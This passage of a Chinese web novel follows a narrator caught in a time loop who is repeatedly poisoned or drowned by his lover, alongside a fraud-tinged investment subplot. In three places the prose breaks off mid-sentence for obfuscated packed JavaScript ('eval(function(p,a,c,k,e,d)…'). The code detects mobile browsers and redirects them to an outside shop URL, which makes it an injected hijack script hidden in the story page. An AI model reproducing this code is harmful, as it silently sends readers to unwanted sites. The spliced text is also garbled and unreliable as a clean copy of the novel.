卓曼罗大惊失色,转头见是我,反而平静下来,一手掩住胸口沟壑:“吓死我了,乱开什么玩笑啊,我在调制雯佳从国外学回来的鸡尾茶呢,也太麻烦了。” “鸡尾茶?什么鬼?怎么调制的?” “你不是每天都忙着创业大事的嘛,什么时候也对我们这种小事感起兴趣了。雯佳说这种鸡尾茶的花式叫做真爱地狱。” “真爱地狱?这么吓人?” “谁知道呢。一杯冰红茶要用三片薄冰分成四层,最上面的一层是柠檬淡茶,叫做初爱,往下第二层是柠檬蜂蜜搭配略浓淡茶,叫做浅爱,往下第三层是混合果汁搭配更浓的红茶,叫做深爱,最下面一层是彼岸花榨汁搭配最浓的红茶,叫做真爱。” “还挺有哲理的,不过这薄冰一化,不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030621|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是扩散混在一起了吗?” “嗯,所以我一调制好,就要事先放置到餐桌上,然后一动都不能动。” “嗯,也不无可能,口味下浓上淡,密度下重上轻,确实,一杯红茶,先后能喝出四种味道了。” “对,雯佳说那就是爱情的四层味道。” 爱情的四层味道?我反躬自问,自己究竟品尝过哪几层的味道呢? “那我每次好像都只喝到半杯,那不就喝不完四种味道,枉费了你的心思了?” 我没说出口的疑惑是,莫非白无贞看到的是假象?卓曼罗被冤枉了?连地狱也难以保证公正? 卓曼罗莞尔一笑,意味深长地说道:“谁知道呢,只怕你喝到最后一种味道,反而会骂我,给你喝的什么鬼呢。” “不就是彼岸花的味道吗?” “这该怎么跟你解释呢,我自己也说不清楚,一样的彼岸花,浓淡配比不同,味道会是天上地下的差别。” “你说得很有几分哲理啊,好坏本无绝对,只在适量适度。砒霜是毒药,稀释后服用却可以治疟疾,顶级香料龙涎香,原料却不过是腥臭的抹香鲸排泄物。被你说的,我倒是有几分期待了。” 卓曼罗不好意思地笑笑:“我可想不出这些道理,只要你不骂我就好了。” 我的目光转移到窗台上那一堆彼岸花鳞茎上,看上去是新鲜收获的,外皮上还残存着些许黑色的泥土,其貌不扬,有点像大蒜,又有点像洋葱,只是颜色格外艳红。 “这颜色会不会太红了?长在地底下的东西,没必要长得这么红吧。” “我问过小边一样的问题,他说,外面的彼岸花鳞茎都没有这么鲜红的,只有他种的彼岸花,鳞茎才会这么鲜红,是因为他种的彼岸花,是用鲜血灌溉而成的。” 我被惊吓得浑身一震:“不可能吧?这是什么歪门邪道?!” “不知道啦,我只知道我的耳朵没有听错,他原话就是这么说的。” 我陡然回忆起,我是亲眼看过边永沙种植的那一丛彼岸花的,不仅花朵格外地艳红,细长光洁的花茎脚下的泥土似乎也有一些斑驳的暗红,只不过当初我以为是灯光或者月光的效果,并没有深想。如今回想起来,难道那真是血液的颜色? 说话的功夫,卓曼罗已经重新调制好了一杯真爱地狱,她最后小心翼翼地在茶水表面摆上一片切得极薄的柠檬。 我回到你身边,刚刚躺好,电话就响了,是边永沙,说是你父亲来了,要我们去客厅。 这是我记忆中第一次见到你父亲卓贤豹,他剑眉星目,相貌堂堂,高大魁梧,皮肤黝黑,一看便知经常参加户外运动。本就不高大的边永沙与卓贤豹同框,愈发被反衬得瘦小猥琐。 边永沙正低声严肃地汇报着什么事情,你父亲卓贤豹脸色铁青,眉头紧锁。 意外的是,你父亲卓贤豹一见到我,眉头就舒展开来,热情地伸手招呼,转而对边永沙说道:“小边,雯佳也不是小孩子了,你当面说吧,我也想听听她的看法。”见边永沙面有难色,补充道,“不用回避天迪,你相信我卓贤豹的眼光,就算谢长卿有问题,天迪也不会有问题。” 边永沙转向你:“简单说吧,我通过小区物业拿到了谢长卿的购房合同,首付只有一成,贷款高达九成,所以谢长卿根本不可能有钱做投资,所以他鼓吹要投资你和谢天迪的公司根本就是个骗局。” 你却很有自己的主意:“边叔你又疑神疑鬼了吧,投钱又不是要钱,能有什么骗局?用杠杆最大化地利用资金是商人的基本功,买房子能贷款九成,反而是说明谢伯父的信用记录良好吧?谢伯父的公司在优国上市,仅这一项资产就价值十亿,这在网上都是可以查到的,总不可能造假吧?边叔,我爸也说了,我又不是小孩子了,用不着你这么没完没了地为我瞎操心了。” 边永沙还要辩解,卓贤豹却打断了他:“小边,注意边界。谢长卿快到了,你出去接接他吧。” 边永沙狠狠瞪我一眼,不服不忿地出了门,嘴里嘟囔着什么,我听不清楚,看口型像是:“你等着!” 卓贤豹也不在意,拉着我问长问短。 12. 第五杀续 不一会儿,谢长卿便进了门,身边却并没有跟着边永沙。 今天也是我记忆中第一次见到我爸谢长卿。 谢长卿连正眼都没瞧我,而是先亲热地向你招手,然后伸出双手与卓贤豹热烈握手。 谢长卿和卓贤豹两人站在一起,形象对比分外鲜明。卓贤豹健硕粗犷,谢长卿则是白皙儒雅,卓贤豹的粗壮大手将谢长卿细皮嫩肉的小手箍出明显的红印。 谢长卿从公文包中取出事先准备好的投资协议打印件,两人商量了没多会儿,便准备签字。 两人彼此谦让了几个来回,最后决定卓贤豹先签字。 卓贤豹正要下笔签字,门外有人高喊:“卓总且慢!” 气喘吁吁跑进来一个人,正是边永沙:“卓总,这个字不能签,我有重要情况,要跟您单独汇报。” 卓贤豹却有些不耐:“我叫你去接谢总,你又自行其是。都是自己人,就在这里大大方方一起说吧。” 边永沙只得拉下脸皮:“卓总,我刚刚咨询了一位做投行的朋友,谢长卿在优国的股权根本就不值一个亿,实际价值可能十万都不到。” 卓贤豹的语气略带嘲讽:“小边,你出息了,交游很广啊。我和谢长卿都是做投资的,你还需要去咨询外人?” 边永沙不肯退让:“卓总,从来当局者迷,旁观者清。谢长卿在优国的上市公司持有五千万股,每股两元长期不动,市值正好一个亿,这都不假。” “你既然知道还要废话?!” “卓总,问题在于,他上市的交易所,不是纽交所,也不是纳斯达克,而是一家场外股票交易所,交易极其清淡,他公司的股票全在几个内部股东手上,彼此对倒维持股价,真实的交易几乎为零。” 卓贤豹把手中的笔搁回桌子上,将信将疑,目光投向谢长卿。 你则将质疑的目光投向我。 我一无所知,只能也将求助的目光投向我的父亲谢长卿。 谢长卿并不慌张:“公司的估值不像炒股票的散户表面看到的那么简单,我用不着跟每个人解释。卓总,我们是长期合作的关系,今天的这个字,签是代表信任,不签也不伤感情,卓总自己决断吧。” 卓贤豹紧锁眉头,稍作思忖,将笔重新执在手上。 边永沙连忙高呼:“卓总,万万不可。” 卓贤豹不耐烦地摆摆手:“小边,你已经说得够多了。我自有分寸。”说着话,他已经刷刷几笔完成了签字。 卓贤豹站起身来,正色道,“谢总,今天是周日,我明天一早就把一千万打进去,你的一千万麻烦也一起打进去,不要让孩子们失望。”说罢,不再理会谢长卿,将头转向边永沙,“小边,载我去公司。” 一场签约不欢而散,原本准备庆祝签约的丰盛晚宴,最后只剩下你我二人,守着大大小小的菜碟,相对无言,埋头苦吃。 菜品花式繁多,饮料却是千年不变,还是红茶。唯一的变化是,早茶是热红茶,下午茶和晚餐则是冰红茶,早上茶几上用的是带把的镀金骨瓷矮杯,下午和晚上餐桌上用的是没把的浮雕水晶高杯。 你很快发现了我的异样:“天迪,你怎么不喝红茶?早上你就没喝茶,晚上你又不喝,是喝腻了吗?” 我慌忙端起杯子:“怎么会呢,只要你爱喝,我就爱喝。”可是杯子边缘一到唇边,我的脑中便警铃大作,连续尝试了三次,就是不敢将红茶喝进口中。 你冷嘲热讽道:“说得好听,看你的脸部表情,比武大郎喝药还要扭曲。要不要喝我喝过的这杯?” 完全是去年今日的场景重现。 倘若确实是冰红茶有问题,去年的事实证明,你那杯的问题反而更大。 我仔细观察手中的杯子,因为表面浮雕的缘故,根本看不出红茶有任何分层。我只能权且相信卓曼罗。 我继续推理,如果红茶确实按照卓曼罗所说,每一杯都分成四层,那么总结我这几年的中毒经验,我自己这一杯的上面几层,你那一杯的下面几层,都存在下毒的嫌疑,你那杯的上面几层已经被你喝掉了,所以,现在反而,只有我自己这一杯的最下面一层,是我这几年都未曾喝过的,因此至少是最不可能有问题的。 问题随之就变成了,怎么才能只喝我自己这一杯的最下面一层呢? 这也太简单了,用吸管就行。 卓曼罗用眼神征询你的意见,你没有反对,她就拿了一根玻璃吸管给我。 我再次仔细端详手中的玻璃杯,暗红色的茶水,水底四粒冰块,水面一片柠檬,一根玻璃吸管小心翼翼插到底,没有任何阻力,分层用的薄冰想必已经全都融化了。 我人生中第一次品尝到了真爱地狱的味道。 怎么说呢,我虽然已经22岁,人生经验的记忆却只有与你寸步不离的短短几天。在我有限的记忆中,饮料的滋味就是红茶的滋味,红茶的滋味就是你家F&M英伦红茶的滋味。我的注意力基本上一直在你的身上,从来也没有留意到喝下的红茶还有初爱、浅爱和深爱的区别。 但是这一口真爱地狱,还是给我带来了强烈的灵魂冲击——苦涩,酸楚,有回甘,有异香,但基调确乎是酸和苦,甚至还有一丝辛辣。 难道是我太幼稚,这才是真爱的滋味? 如此强烈的味蕾冲击,只怕今天我这一口真爱下去,以后对所有的初爱、浅爱和深爱就都将无感了。 太阳刚刚落下,月亮却不知道躲在哪片云中,不肯露脸。 你背靠泳池壁站定,抬头幽怨地望着我,迷惘的眼神中,说不清是爱恨交替,还是爱恨交融。 你简短地命令:“吻我。” “还记得一年前,你要我七步之内做一首情诗给你吗?可以再给我一次机会吗?” “岂止记得。你既然不肯死心,那就念给我听听吧。” 我郑重其事地在水中哗哗哗哗哗哗哗后退七步,立定,毅然决然凝视着你的眼睛,一边以赴死的决心坚定地走向你,一边声情并茂地念出了我平生第一首情诗。 [彼岸花] 白是你在天堂, 红是我在地狱, 我一步一回头, 彳亍在忘川河畔。 孟婆的汤冷了, 我偷偷把你的名字, 刻在了 三生石的背面。 一首诗念完,我正好重新站在你的面前,鼻尖相触,四目对视,我清清楚楚看见你眼眶中噙满的热泪。 你点评道:“谢谢你的地狱情诗。不过,我还想好好活着,还相信明天会更好,不想现在就操心下一世的事情,就不陪你去见孟婆了。” “我也觉得这一世就很好,今天就很好。” “明天会更好。”你再次命令:“吻我。” 一年前的一模一样的一幕情景再次上演,我虽然警觉,却无法抵抗你的意志,再次忐忑地吻上你的嘴唇,随你入水,入水越深,吻越深,情越炽,心越迷。 意乱情迷之际,你再次突然睁开双眼,用力推我。 果不其然,出乎意料,我再次体会到深深的无力和无助,轰然向后向下坍缩。 我还是中毒了吗?我为什么还是会中毒了呢?到底是谁在给我下毒呢? 我的意识在逐渐弥散,这一世已经没有能力寻找答案。 我要死了吗?要下地狱了吗?死得正好,我正好想去地狱,向白无贞问个究竟。 嗯?不对啊,我这次去的会是一个不同的地狱,那里会有别的白无常,但是不会再有白无贞了。 归根结底,还是我不够好。 对不起,亲爱的,是我爱得还不够,做得还不够。 我还机会再次重生?还有机会再次回来,向你证明自己的爱吗? 你的声音像隔着一个宇宙那么遥远。 “你不爱我!你不爱我!你骗不了我,你对我的爱,根本不是真的!” 另一个更低沉的声音:“交给我吧。” 然后又是你凄婉朦胧的声音:“我不想天笛有任何痛苦。” 以上已经是我第五次死在你的手上。 忘川冰封。彼岸花开。地狱无门。 瑞不忒杠乂复。 一口温润的仙气注入我的口中,我睁开双眼,今天的体感明显没那么热,我看向泳池边的液晶挂钟,果然,2012年8月31日,又是一年后的中元节。 我又蹉跎了一天,衰老了一岁。 我仔细端详你,你没有任何衰老的迹象,还是我那个硅胶娃娃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030622|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般美到不真实的青春女神,唯一的变化是,你现在穿着的不是那件我熟识的桃红色比基尼,而是一件宝蓝色的比基尼。 我闭眼深呼吸。 不出所料,之前几天过中元节的记忆都在,意外的是,上一次去地狱的记忆也在,我还清楚记得,四狱的阎王要求我下次下地狱的时候,必须清除我所有关于地狱的记忆,但是,我没有这一次去地狱的记忆,却保留着上一次去地狱的记忆,这是怎么回事呢?难道我这次溺死没下地狱?改去天堂了?我有这么多功德吗? 上一次重生回来时,借着白无贞几句提点,我自以为打开了上帝视角,充满了自信。这一次,我的心中只有徒劳的不服和不甘,像是一头误入陷坑的小鹿,不知道怎么跳出去,但就是盲目相信自己能够跳出去,生命不息,蹦跶不止。 我重新睁开双眼,推开骑坐着在我小腹上的你,一个鲤鱼打挺,却又重重摔落在地板上,再一个鲤鱼打挺,依然未能成功,不服再试再试,鲤鱼打挺变成了青鱼扑腾。 你站在我身边,灿烂的笑容渐渐褪去,同情地看我屡败屡战,终于看不下去了,伸手拉我。这时我的信心也已经耗尽了,也就不再强要颜面,顺势拉着你的手站起身来。 我应该才23岁吧,身体机能衰老得这么快吗? 我们走向你家的别墅,你将头自然地依偎在我的肩头,关心地询问我:“天迪,你怎么了?要不要去医院检查一下?” “不用,不过我好像有点失忆了,等会儿麻烦你跟我讲讲这一年我们的事情好吗?” “天迪你别吓我好不好?脑子真的会进水吗?” “亲爱的,没那么严重,别担心,可能晚上睡一觉就好了。” “那吃完午饭,你陪我睡个午觉吧。” 前面一团小飞虫挡在路上,我忙帮你驱赶,边永沙和卓曼罗见状,也一起过来帮忙驱赶。 你站在一株高大的美人蕉旁,睹物生情,有感而发:“这些飞虫就是古书里面说的蜉蝣吧,朝生暮死,也是蛮可怜的。” 我弱弱地纠正:“不过按照科学的说法,蜉蝣的生命其实不止一天,只不过它们水中寻常的生活没人感兴趣,也没人知晓,我们所能看到的,就只有它们在天上飞舞的一天,为爱情轰轰烈烈死去活来的一天。” 反思我自己,我没有留下记忆的那绝大部分人生,就不能算作我自己的人生了吗?忘掉了就等于丢掉了吗?就等于从未存在过吗? 两个人很自然地在一起淋浴。 你让我帮你抹洗发水,我有了一项新的发现:“亲爱的,你的头上有两个发旋啊?” “你才注意到啊。” “我小时候看过一本叫《奥秘》的杂志,里面把两个旋说得很吓人,说两个发旋就是娘肚子里面的双胞胎,其中一个把另外一个消化吸收掉了。” “这你也信欸。我也看过一篇更神秘的,说两个发旋代表双重人格。” “嗯,都是胡扯的吧。” “我倒是觉得双重人格这个说法,还蛮命中我的欸。你不觉得我就是有那么一点点双重人格嘛?” 说者无心,听者有意,虽然你只是开玩笑,但我心中一凛,难道说,你不断杀我,又不断救我,是因为双重人格在作祟? 一个人格爱我,另一个人格却恨我? 一个人格负责救人,另一个人格却负责杀人? 一盘鲜果切,两杯热红茶,卓曼罗已经等我们好久了。 看来失忆的说法很难让你相信,我决定改变策略,先假装闲聊,慢慢试探和搜集信息。 果然,我们的人生居然真的继续遵循着一个诡异的等差数列。我每次重生都会穿越到一年后的自己,与此同时,我们最早相识的日子却会推迟两年。所以,每次重生,我们共处的时光其实便会减少一年,感情似乎也就相应地稍微淡一点,更重要的是,信任也会相应地弱一点。 这次重生,我们家是在我们小学五年级的时候,才搬到这个小区的,我们也还算得上是青梅竹马。 我们这边正聊着天,卓曼罗却一直在你的身后兴奋地挤眉弄眼,比划着一连串让人目不暇接的手势,嘴巴不断一开一合仿佛在说些什么,我却什么也没看懂,只看懂她最后似乎比了一个OK的手势。 13. 第六杀 你察觉到我眼神飘忽,猛然扭头回望,卓曼罗立马切换回低眉顺眼的模样。 你正视我道:“天迪,我为了你选择回国,在魔都哈佛读硕士,可是我怎么总觉得,这一年,我们明明重新回到以前朝夕相处的时光了,我们之间的激情反而淡了,你不会又看上谁了吧。” 我连忙否认:“怎么会呢,我对你真心真情丝毫没有改变,日月可鉴,天地为证。” 这是实话,我的年纪虽然虚度了几岁,但记忆中与你在一起的时光不过才几天而已。 你却摇头:“你骗不了我。你放心,我理解你,这一年主要靠你一个人撑着我们的公司,又要开发系统,又要拉投资,难免精力不济。” 我连忙借坡下驴:“是我不好,什么都比不上你重要,我应该把心思都放在你身上。” 你缓和了语气:“最多再给你一年时间,如果公司再做不成,你就老老实实去你爸的公司打工,或者你自己选,来我爸的公司也行,反正我爸看你比看他自己的女儿还顺眼。” 我忙表态:“好,一言为定,一年为期,不成功,就打工。” 你话锋一转:“你拼事业我可以体谅你,但是你如果挂羊头卖狗肉,三心二意,我会让你死得很难看。” 我心里不禁一紧,知道你这可不是虚张声势。 六分钟的车程,你骂了整整三百六十秒。我家如今是一个叠拼别墅,只及你家四分之一大小了。 来到我的卧室,更深刻地体会到了你说的“激情淡了”是什么意思。温存了没多会儿,我还在激情四射,你却笑着推开我:“勿忘初心,干你的正事。” 我打开电脑,我的子虚文学网功能已经似模似样了,却还是部署在一个免费的服务器上,用户不过百人。 我着急看的是卓曼罗的小说。一年了,看上去却没有更新,不过我再次点击下一章按钮,下一章的内容这次能正常显示了。 曼姨写的下一章的内容是:抖M死后来到地狱,却不相信自己的死因是被抖S毒杀。地狱判官为了将抖S罪状坐实,让白无常当堂回放了抖M的作案过程的幻象。原来,冰红茶杯底的冰块是用下过毒的红茶冰冻而成,抖M用温度和时间调控下毒的时机。 我重重拍了一下自己的脑门,脱口而出:“原来如此!”却见你正在一旁冷眼凝视着我。 不算意外,我和你的小说都没有更新。 意外的是,边永沙的《边城狼女》已经码了一百万多字了,我粗粗挑几章浏览了一下,无非打打杀杀,打不过就哭着找爹妈,但是又分不清谁是谁的爹妈。 你见我一章接一章翻阅《边城狼女》,伸出手来在我眼前晃了晃:“没看出你喜欢这种重口味?” 午饭时,卓曼罗又躲在你身后挤眉弄眼,我怕你误会,只能佯装看不见。 吃完午饭,你还是习惯性地要回卧室去午睡,我很自然地跟着过去陪睡。 我们两人温存了一阵,你推开我,真的睡觉了。 我虽然闭着眼睛,心里面却一直惦记着要去找卓曼罗查证,好不容易熬到你的鼻息渐渐平稳,我便蹑手蹑脚起身下床。 我的一只手已经放在了门把手上,却没来由地感觉背后发凉,回头一看,侧躺在床上的你,正圆睁着一双大眼,冷冷地注视着我。 我被吓得一身冷汗,强作镇定,装模作样看了门边一眼中央空调液晶面板上的温度,随手调高了半度,自我解嘲:“年纪大了,怕冷。” 你很快重新入睡,不一会儿侧过身来,一只手搭在我胸口,一条腿搭在我的小腹上。 我却一直没有睡着,干脆睁开眼睛,盯着天花板,琢磨卓曼罗那一连串手势的含义。周曼罗的表情虽然紧张,但是也有很大程度上的兴奋,应该不是什么紧急报警信号吧,希望自己没理解错误。 今天的下午茶卓曼罗也很花心思,是自己烘焙的爱心形状的饼干,有好几种口味,不同的颜色鲜艳分明。 我却只能盯着那两杯冰红茶发愁,喝吧怕有人下毒,不喝又怕你怪我多疑。 缓缓踱过来一只玳瑁猫,看样子已然中年发福,走路时满身肥肉颤颤巍巍,在我脚边坐下,仿佛与我很是熟络。然而在我的记忆里,它以前可是见我就躲的。这玳瑁猫古名唤作滚地锦,那一身黑金相间的浓密长毛犹如幻彩锦绣般华美,我忍不住低下头想抚摸它一下,可它却扭动着肥胖的身躯躲开了,随后径直小跑到你脚边,在你的脚踝处蹭了几下后,便趴卧在你脚旁。 我讪笑着说道:“看来你们俩更亲热啊。” “那当然了,MOUSE比你强,从来不顶嘴。” 我不服气,本来手里捏着一块饼干打算自己吃的,现在却改变了主意,弯下身子把饼干放在了玳瑁猫鼻尖前的地面上。 玳瑁猫来者不拒,三两口便将那块饼干扒拉进了自己的嘴里,我看玳瑁猫吃饼干分外有趣,就又扔给它两块饼干。 突然,玳瑁猫的身体一颤,紧接着蜷缩起来,双耳向后放低,好像经历着什么痛苦。 我还没反应过来,你便一把将玳瑁猫抄起:“曼姨,饼干里面是不是有巧克力?天迪,猫不能吃巧克力你不知道吗?” 我才要张口,卓曼罗抢着回答:“雯佳,别担心,饼干里面没有放巧克力,跟之前的配方一模一样,每一样都是你自己选定的。” “可是MOUSE明显不对欸。之前你做的饼干色彩没有这么艳丽,是你自己改过配方了吧?” “哦,我想起来了,小边说雯佳喜欢颜色鲜艳的食品,特地买了一批食用色素给我。” “边叔又自以为是,他到底知不知道自己身份。你先把他给你的色素包装盒给我看看。” 卓曼罗匆忙去厨房拿回几个彩色的纸盒,上面都是英文,你一看便怒不可遏:“这是工业色素,吃了要死人的。边永沙这到底是想要干什么,连我也要一起毒死吗?曼姨,你赶紧抱着MOUSE去找边永沙,让他送你们去宠物医院,你跟他说,我说的,如果MOUSE有个三长两短回不来了,他也不用回来了。” 我也抓过包装盒仔细研究:“红色色素原料是,manjusaka?这个英语单词什么意思?” 你又抢回包装盒:“哼,山寨产品的山寨英语,本意是指Lycorisradiata吧。” “要不要报警?” “不用,你也不要多事,我会找边永沙算账的。” 一场混乱过后,你还是没有忘记我们每年中元节的仪式——池中深吻。 水池中,你的脸上余怒未消:“吻我!” 我强作幽默:“女神,这次不用我念诗了吗?” “天迪,你也不小了,该现实一点啦。” 我心中暗想,刚才因为MOUSE疑似中毒的风波,我这次一口冰红茶都没有喝,按理说不会有中毒的机会了吧。 你缓缓将自己没入水中,我正俯身跟着凑上前去吻你,忽然听到不远处一阵嗡嗡声传来,且声音由远渐近,我重新站直身子扭头查看,是一架玫瑰金色的四旋翼无人机。 无人机很快飞到我们两人的身边,我再细看,无人机下方挂着一个托盘,托盘上竟然摆着一枚白金钻戒,钻戒上的钻石目测超过半个克拉,在夏日午后的阳光照射下熠熠生辉。 我四周张望,很快发现,原来是卓曼罗,她正站在桂花树下,神情紧张地双手操作着一个遥控器,两眼则紧盯着这边的无人机。 我恍然大悟,原来卓曼罗几次三番对我挤眉弄眼,其实是在向我通报无人机送钻戒计划的进展? 我从无人机的托盘中取出钻戒,发现你已经整个头都没入了水中。我果断深吸一口气,矮身入水,单膝跪在游泳池底,双手向你举起钻戒,在水中开口:“卓雯佳,嫁给我好吗?” 我自认为说得很大声,但实际上你什么也听不清,只能看到我嘴巴一张一合,冒出一连串气泡。 但是,你显然还是明白了我的意图,在水中惊讶地睁圆了双眼,不自觉将左手的无名指放在齿间轻咬,感觉过了很久,你才终于缓缓伸出了左手。我将钻戒套上了你的无名指,不松不紧正是你的尺寸,我还是蛮靠谱的。 我们在水下激情忘我拥吻,喧嚣的世界像隔着一个星系那么遥远。 但是确实,有一个微弱的人声,不断轻轻敲击我的鼓膜,我这次神智非常清楚,辨别出了那是在呼唤你的名字:“雯佳!雯佳!雯佳!” 你推开我,将头冒出水面,我也随你一起站直身体。 是卓曼罗,也不知什么时候过来的,正站在游泳池边,焦急地用最大音量拼命呼唤你的名字,你不悦地打断她:“别一惊一乍的好不啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030623|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们都好好活着呢。” 你见我们浮出水面,连忙恢复了正常的语调通知我们:“雯佳,你爸回来了,正找你呢,谢天迪的父亲也一起来了。” “MOUSE呢?”你一边跃上池壁,一边问道。 “MOUSE还在宠物医院,还是没精打采,有气无力,像烂泥一样瘫成一团。” 我心中惊异,MOUSE这症状怎么跟我溺死前的症状有些相似。 “医生怎么说?”你边走边问。 “不是简单的化工色素中毒,医生怀疑是过量摄入了缬草之类的镇定剂。” “不可能吧,我们家有含缬草的猫玩具吗?” “没有,你怎么可能受得了那种臭袜子味。我也跟医生明确说了不可能,直到我走的时候,医生还没查出问题。” “边永沙呢?” “还没回来。”卓曼罗含糊其辞。 你轻轻哼了一声,大约心情还不错,也就没继续深究。 我们以最快速度换好衣服,来到你家客厅,这时你我的父亲已经在客厅等候多时了。 我们十指紧扣手挽着手,紧紧依偎着出现在我们两人的父亲的面前,脸上都洋溢着甜蜜的笑容,你的左手无名指还赫然戴着我刚刚送你的订婚戒指。 我们两人的父亲见此情景,瞬间都明白了什么,两个人表情虽各异,但显然都因我们的胆大妄为怔住了,一时都不知道该如何表态。 倒是一个外人先表了态。 这是一个坐在你父亲卓贤豹身边的胖大和尚,身躯比卓贤豹还要高大魁梧上一圈,活脱脱一个鲁智深再世,沙和尚降生,只缺了部络腮胡子。他前一秒钟还在端着茶杯惬意地品茶,满脸的和蔼慈悲,后一秒钟就拉下脸来,瓮声瓮气地大放厥词:“哼,混淆阴阳,搅乱乾坤,成何体统!” 我不认识此人,你却认识,毫不犹豫地直呼其名回怼:“法永信,你挺大的个子,什么正事都不干,只知道打着泽心寺的旗号,每天跑到我家来骗吃骗喝,还好意思多管闲事?!” 法永信义正词严:“小施主,泽心寺乃是武林名门正派之首,贫僧向来黑白分明,光明磊落,现今贫僧一片苦心,诤言逆耳,你岂可反咬一口,亵渎圣寺,侮辱贫僧。” 你却嗤之以鼻:“哼,只怕你是煞费苦心跑到我家骗钱来的吧。” 法永信头上青筋暴起,便要发作,却被卓贤豹按住:“大师果然火爆脾气,我知道大师是名寺持碟的高僧,就别跟一个小姑娘家斗嘴了。先让谢总说正事,你也帮我参谋一下。谢总,人都齐了,我们开始吧,说说看吧,一年前,我要投资,你最后关头却选择不跟,一年过去了,今天你又有什么新方案?” 谢长卿则还是那副儒商的做派,说话抑扬顿挫,条理分明:“卓总,现在是2013年了,中国网络文学市场已经经历了十年发展,市场规模今非昔比,投资融资也日趋活跃,我不忍心看两个孩子起了个大早却赶了个晚集,下定决心尽我财力托他们一把,就按照我们去年的方案,我们各出一千万,天迪负责产品,雯佳负责市场,素晶在家闲着也是闲着,就让她去帮忙负责财务。” “什么?你想让你老婆白素晶负责两个孩子的公司的财务?”卓贤豹眉毛一挑,有点意外和不悦。 “对,两个孩子毕竟年轻,素晶在旁边看着,我们更放心。要不是你老婆蔡文君身体不太好,我会建议她也可以参与进来,她们两个老闺蜜合作,肯定比我们两个合作更有默契。” “那倒是啊。我老婆对你老婆,比对我还亲热呢。只不过……”卓贤豹虽然直爽,但是对于拒绝谢长卿老婆白素晶的介入,还是投鼠忌器,生怕逆了自己老婆蔡文君的逆鳞。 “这些可以再议,如果蔡文君不介意,可以让她挂个董事长,一起来帮忙看着两个孩子。当务之急,我们先把投资合同签了,尽快把钱打进去,让子虚文学网赶紧正式运作起来,不要误了商机。” 卓贤豹正在犹豫,法永信在一旁冷笑不已:“卓总,贫僧生性直来直去,有些话不吐不快。”见卓贤豹点头,法永信继续说道,“投资不单单看经济效益,还要考虑社会效益,贫僧过来之前,特意草草浏览了几家网络文学网站,只觉得普遍三观堪虞,教坏后生,诲淫诲盗,污染社会风气,这种缺乏社会责任感的项目不值得卓总投资。” 14. 第六杀续 你忍不住打断法永信:“就你推销的那些电子功德箱、在线上香之类的骗钱项目才值得投资?” 谢长卿忙打圆场:“好项目不拘一格,不存在非此即彼的问题,卓总的资产规模庞大,本就需要分散投资……” 还是要数谢长卿投资理论基础雄厚,一番云山雾罩的长篇大论之后,卓贤豹终于被绕了进去:“行,谢总,我们这么多年合作关系,我不怕再多信你一回。我还是去年那句话,我们今天一起签字,明天一起打钱,这次希望你别再生意外了。” 谢长卿满口应允,胸有成竹地取出事先准备好的投资合同,摆到了卓贤豹的面前。 关键时候,边永沙却又过来搅场了,只听到他一进门就高呼:“卓总且慢,我有新料!” 你一看是边永沙,就气不打一处来:“边叔,MOUSE怎么样了?好歹一条生命欸,你不该有个交代吗?” 边永沙却顾不上搭理你,一步不停直接冲到卓贤豹面前:“卓总,这个字不能签。”说着将厚厚一叠报告塞到卓贤豹手上,“这是我刚刚收到的调查报告,事实胜于雄辩,不用我废话了,卓总您自己看吧。” 卓贤豹逐页翻阅报告,脸色越来越难看,最后,他将报告啪的一声远远丢到了谢长卿面前的茶几桌面上:“你自己看吧,老谢,在孩子们面前,给自己留点脸面吧。” 谢长卿随意翻看了几页,抬头难以置信地凝视卓贤豹:“卓总,我们两家这么多年交情,你居然请私家侦探暗地里调查我?” 边永沙插话道:“不是卓总查你,是我查你,卓总对你如兄弟般信任,是你从一开始就心怀鬼胎,想尽办法从卓总手里骗取财产!” 谢长卿就算再有涵养,听到这样的指责也忍无可忍了,他拍案而起:“边永沙,我和卓总的事情,轮不到你一个司机指手画脚!” 边永沙却毫不退让:“你别指望用身份压我,我是谁也轮不到你管!你正面回答,这本报告里的事情是不是真的?你是不是非法反复抵押你们夫妻名下唯一的一处房产,向十几家银行和金融机构骗取贷款!?你是不是早就资不抵债,财务破产?!” 谢长卿力辩:“我的财务状况轮不到你说三道四,我现在是出钱给我们两家孩子,不管怎么说,我都是一片真心,为了雯佳和天迪两个孩子的未来着想!” 